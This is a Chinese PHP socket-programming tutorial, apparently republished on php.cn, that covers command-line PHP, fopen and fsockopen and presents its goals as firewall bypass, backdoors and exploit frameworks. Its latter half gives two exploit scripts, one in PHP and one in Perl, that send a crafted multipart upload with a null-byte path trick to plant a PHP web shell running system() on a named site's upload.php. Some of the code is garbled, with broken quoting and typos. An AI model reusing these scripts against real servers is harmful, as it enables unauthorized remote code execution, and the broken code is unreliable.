0

0

PHP-SOCKETS读书笔记

php中文网

php中文网

发布时间:2016-06-21 09:06:04

|

1275人浏览过

|

来源于php中文网

原创

笔记

学习PHP2个月了,收获挺多.但是与别人不同的是,我更喜欢SOCKET.PHP在SOCKET这方面的文章太少了.所以决定写一系列PHP-SOCKET读书笔记.一直从最基本写到SOCKET_RAW.
实例+心得.实例将会有端口转发(突破防火墙),动网类型EXP,端口扫描,PHP后门,发包型EXP框架.由于学习缘故,每周只能写一篇.现给出卷一.希望大家一起投入到PHP SHELL编程中来.


前言:

PHP是世界上最流行的脚本语言之一。一直以来它在WEB编程中得到极广泛的应用。我想说的是PHP不仅在WEB方面出色,在SHELL方面同样出色。只是人们更习惯用PERL来编写SHELL脚本.这里申明一下,本人不是PHP高手,接触PHP不过几个星期,这只是一篇读书笔记。有错误的地方请提出来。也可以给我MAIL,共同探讨PHP。

前置知识:

PHP最吸引我的地方就是SOCKETS 扩展,事实上我会简单的VB WINSOCK,完全能用VB写一个常用的WINSOCK程序出来。但是我还是选择了PHP。因为它是跨平台的。

PHP默认是不支持高级SOCKET的,只支持被“封装”的fsockopen等几个函数。SOCKET作为PHP的扩展,需要设置一下才能使其支持。在WINDOWS需要设置PHP。INI,在PHP。INI找;Windows Extensions这一行,去掉;extension=php_sockets.dll 前面的分号。THAT‘S OK。*NIX下则需要在编译的时候加入-enable—sockets命令。在没有使用DL()函数的时候,你的PHP必须和在同一目录php_sockets.dll。好了,完成PHP SOCKET配置了。

下面就是运行的问题了

在终端下运行PHP脚本很简单。WINDOWS下C:\php\php.exe –q test.php,*NIX下要在PHP文件事先申明由PHP来执行,就像PERL一样。像#!/usr/local/bin/php –q .,然后再来个./test.php。参数q的意思就是不输出PHP标头信息。

输入参数问题:

有的人说,PHP SHELL如何输入参数。在WEB的时候可以这样输入参数http://xxx.com/aa.php?参数1=XXXX&参数2=ssssss。没关系PHP同PERL一样,具有相似的参数功能。来看官方的描述

“argv”

传递给该脚本的参数。当脚本运行在命令行方式时,argv 变量传递给程序 C 语言样式的命令行参数。当调用 GET 方法时,该变量包含请求的数据。

“argc”

包含传递给程序的命令行参数的个数(如果运行在命令行模式)。



呵呵,简单的说。看我举个例子



if ($argc != 4 || in_array($argc[1] , array('--help','-h','?')))

{

echo "By Darkness[BST].We will come back soon!\r\n";

echo "------------------------------------------------\r\n";

echo "C:/PHP/PHP.exe -q uploadexp.php http://www.bugkidz.org/upload.php filepath\r\n";

echo "------------------------------------------------\r\n";

}

$host = $argv[1];

$url = $argv[2];

$path = $argv[3];

?>



我想你应该看懂了哦,这里ARGC[0]是指的程序本身。也可以这样来.

Printf(%s,$argv[1]);
前面一段谈到命令行方式的运行。更多请参照
http://www.php.net/manual/zh/features.commandline.php


1.fopen的应用
fopen也可以被称作被封装的SOCKET函数。不仅用于文件读写,还可以用于SOCKET。FOPEN相当于其他高级语言的INET控件/类,较于FSOCKOPEN,他对于URL的操作更高级。

fopen的使用方法
$s = fopen ($url, mode);
fopen的MODE属性:
mode 说明
'r' 只读方式打开,将文件指针指向文件头。
'r+' 读写方式打开,将文件指针指向文件头。
'w' 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'w+' 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。
'a' 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'a+' 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。
'x' 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
'x+' 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。这和给 底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。


即用于本地文件的操作,也可以用于INET。是不是很KOOL?
假如要测试一个站的IIS目录是不是有写权限。
可以这样写
$s = fopen("http://www.bugkidz.org","x+") or die(“不存在写权限”)
如果存在的话,你可以继续构造下面的语句。用Fwrite 远程写入文件。
但是一般的网站都是只读权限的
$s =fopen("http://www.bugkidz.org/index.php?id=1","r");
这样就读入了http://www.bugkidz.org/index.php?id=1的内容,但是还得经过处理才能获取完整的文件内容
这样
while (!feof($s)) {
echo fgets($s, 1024);
}
我认为FOPEN用于SQL INJECTION是最方便不过的了。
function phpinet($url)
{
fopen($url,"r") or die("打开URL错误");


while (!feof($s)) {
$cahe = fgets($s, 1024);
}

retrun $cahe;
fclose($s)
}


这段函数等同于VB中的inet.openurl

Fsockopen族函数的使用
fsockopen也是被封装的一类socket函数.有点类似于VB中的winsock控件.令人遗憾的是它支持主动socket连接,不支持bind,listen等,如果需要实现这些功能,则要使用PHP中的高级socket编程.即便是这样,fsockopen函数也能满足大多数的需求.
这样使用fsockopen
resource fsockopen ( string target, int port [, int errno [, string errstr [, float timeout]]])

例子:
$sock = fsockopen("192.168.0.1",80,$errno,$errstr,30);
前面2个是地址和端口,中间2个是有关错误的变量,最后就是timeout设置了.
通常$sock = fsockopen("192.168.0.1",80);这样即可.
$sock = fsockopen("192.168.0.1",80);这是典型的TCP连接.UDP连接这样来
$sock = fsockopen("udp://192.168.0.1",53);
用这个来写一个TFTP的客户端也是可以的.

fsockopen的应用实例:

实例一,简单的HTTP会话.

代码 

$fp = fsockopen("www.example.com", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)
\n";
} else {
$out = "GET / HTTP/1.1\r\n";
 $out .= "Host: www.example.com\r\n";
$out .= "Connection: Close\r\n\r\n";

 fwrite($fp, $out);
 while (!feof($fp)) {
echo fgets($fp, 128);
 }
fclose($fp);
}
?>  



流程一般是这样的
建立fsockopen 资源,定义发送内容,用fwrite函数或者fputs函数写入定义内容,一行一行的输出得到的内容,直到到达文件末尾,fgets函数或者是fread使用.使用fclose关闭建立的fsockopen 资源.
ANGEL写了一个PHP的端口扫描工具,贴出之
http://www.4ngel.net/article/20.htm

选择fsockopen 来写简单EXP发送框架绝对是个goodidea.becoz it's so easy.
看我的PHP上传漏洞的exp.

代码 

#codz by Darkness MSN:Cqxy[at]21cn.net
$sock = fsockopen("www.ririririri.com",80);
if (!$sock)
{ echo "CANNOT CONNECT IT!";
}
$body = "-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
""system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";

$header ="POST /index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: strlen($body)\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n";
fputs($sock,$header);
sleep(1);

fputs($sock,$body);
while (!feof($sock))
{
echo fgets($sock,128);
}
fclose($sock);
?>  


再来看XIAOLU用PERL写的exp

代码 

#!/usr/bin/perl
$| = 1;
use Socket;
$host = "127.0.0.1";
$port = "80";

$UploadTo = "";
$str =
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"path\"\r\n".
"\r\n".
"www.ppp%00\r\n".
"-----------------------------7d41f4a600472\r\n".
"Content-Disposition: form-data; name=\"image\"; filename=\"F:\\tools\\1.gif\"\r\n".
"Content-Type: text/plain\r\n".
"\r\n".
""system($c);\r\n".
"?>\r\n".
"-----------------------------7d41f4a600472--\r\n".
"\r\n";

print $str;
$len=length($str);
print $len;

$req ="POST /1/1/3721/index.php?action=upload HTTP/1.1\r\n".
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/msword, application/x-shockwave-flash, */*\r\n".
"Referer: http://127.0.0.1/index.php?path=.\r\n".
"Accept-Language: zh-cn\r\n".
"Content-Type: multipart/form-data; boundary=---------------------------7d41f4a600472\r\n".
"Accept-Encoding: gzip, deflate\r\n".
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; Hotbar 4.4.6.0; .NET CLR 1.1.4322)\r\n".
"Host: 127.0.0.1\r\n".
"Content-Length: $len\r\n".
"Connection: Keep-Alive\r\n".
"Cache-Control: no-cache\r\n".
"Cookie: PHPSESSID=111111111111111111111111\r\n".
"\r\n".
"$str\r\n\r\n";
print $req;
@res = sendraw($req);
print @res;

#Hmm...Maybe you can send it by other way


sub sendraw {
my ($req) = @_;
my $target;
$target = inet_aton($host) || die("inet_aton problems\n");
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,$port,$target)){
select(S);
$| = 1;
print $req;
my @res = ;
select(STDOUT);
close(S);
return @res;

else {
die("Can't connect...\n");

}  



PHP速学教程(入门到精通)
PHP速学教程(入门到精通)

PHP怎么学习?PHP怎么入门?PHP在哪学?PHP怎么学才快?不用担心,这里为大家提供了PHP速学教程(入门到精通),有需要的小伙伴保存下载就能学习啦!

下载

相关标签:

php

本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系admin@php.cn

热门AI工具

更多
DeepSeek
DeepSeek

幻方量化公司旗下的开源大模型平台

豆包大模型
豆包大模型

字节跳动自主研发的一系列大型语言模型

通义千问
通义千问

阿里巴巴推出的全能AI助手

腾讯元宝
腾讯元宝

腾讯混元平台推出的AI助手

文心一言
文心一言

文心一言是百度开发的AI聊天机器人,通过对话可以生成各种形式的内容。

讯飞写作
讯飞写作

基于讯飞星火大模型的AI写作工具,可以快速生成新闻稿件、品宣文案、工作总结、心得体会等各种文文稿

即梦AI
即梦AI

一站式AI创作平台,免费AI图片和视频生成。

ChatGPT
ChatGPT

最最强大的AI聊天机器人程序,ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

相关专题

更多
微信文件过期恢复教程
微信文件过期恢复教程

本专题整合了微信文件过期恢复方法、技巧教程,阅读专题下面的文章了解更多详细内容。

0

2026.02.04

抖音网页版入口与视频观看指南 抖音官网视频在线访问
抖音网页版入口与视频观看指南 抖音官网视频在线访问

本专题汇总了抖音网页版的入口链接、官方登录页面以及视频观看入口,帮助用户快速访问抖音网页版,提供免登录访问方式和直接进入视频播放页面的方法,确保顺利浏览和观看抖音视频。

63

2026.02.04

学习通网页版入口与在线学习指南 学习通官网登录与使用方法
学习通网页版入口与在线学习指南 学习通官网登录与使用方法

本专题详细汇总了学习通网页版入口与登录方法,提供学习通官方网页端入口、学生登录平台、网页版使用指南等内容,帮助用户快速稳定地登录学习通官网,顺利进入学习平台,提升学习效率和体验。

9

2026.02.04

Python Web 框架 Django 深度开发
Python Web 框架 Django 深度开发

本专题系统讲解 Python Django 框架的核心功能与进阶开发技巧,包括 Django 项目结构、数据库模型与迁移、视图与模板渲染、表单与认证管理、RESTful API 开发、Django 中间件与缓存优化、部署与性能调优。通过实战案例,帮助学习者掌握 使用 Django 快速构建功能全面的 Web 应用与全栈开发能力。

9

2026.02.04

Java 流式处理与 Apache Kafka 实战
Java 流式处理与 Apache Kafka 实战

本专题专注讲解 Java 在流式数据处理与消息队列系统中的应用,系统讲解 Apache Kafka 的基础概念、生产者与消费者模型、Kafka Streams 与 KSQL 流式处理框架、实时数据分析与监控,结合实际业务场景,帮助开发者构建 高吞吐量、低延迟的实时数据流管道,实现高效的数据流转与处理。

3

2026.02.04

Golang 容器化与 Docker 实战
Golang 容器化与 Docker 实战

本专题深入讲解 Golang 应用的容器化与 Docker 部署,涵盖 Docker 基础概念、容器构建与镜像管理、Go 应用的 Dockerfile 编写、跨平台容器部署与优化、Docker Compose 和 Kubernetes 部署工具。通过实际案例,帮助学习者掌握 如何将 Golang 应用容器化并实现高效部署与管理,提升系统的可扩展性与运维效率。

3

2026.02.04

全国统一发票查询平台入口合集
全国统一发票查询平台入口合集

本专题整合了全国统一发票查询入口地址合集,阅读专题下面的文章了解更多详细入口。

59

2026.02.03

短剧入口地址汇总
短剧入口地址汇总

本专题整合了短剧app推荐平台,阅读专题下面的文章了解更多详细入口。

110

2026.02.03

植物大战僵尸版本入口地址汇总
植物大战僵尸版本入口地址汇总

本专题整合了植物大战僵尸版本入口地址汇总,前往文章中寻找想要的答案。

56

2026.02.03

热门下载

更多
网站特效
/
网站源码
/
网站素材
/
前端模板

精品课程

更多
相关推荐
/
热门推荐
/
最新课程
PHP课程
PHP课程

共137课时 | 11万人学习

JavaScript ES5基础线上课程教学
JavaScript ES5基础线上课程教学

共6课时 | 11.2万人学习

PHP新手语法线上课程教学
PHP新手语法线上课程教学

共13课时 | 0.9万人学习

关于我们 免责申明 举报中心 意见反馈 讲师合作 广告合作 最新更新
php中文网:公益在线php培训,帮助PHP学习者快速成长!
关注服务号 技术交流群
PHP中文网订阅号
每天精选资源文章推送

Copyright 2014-2026 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号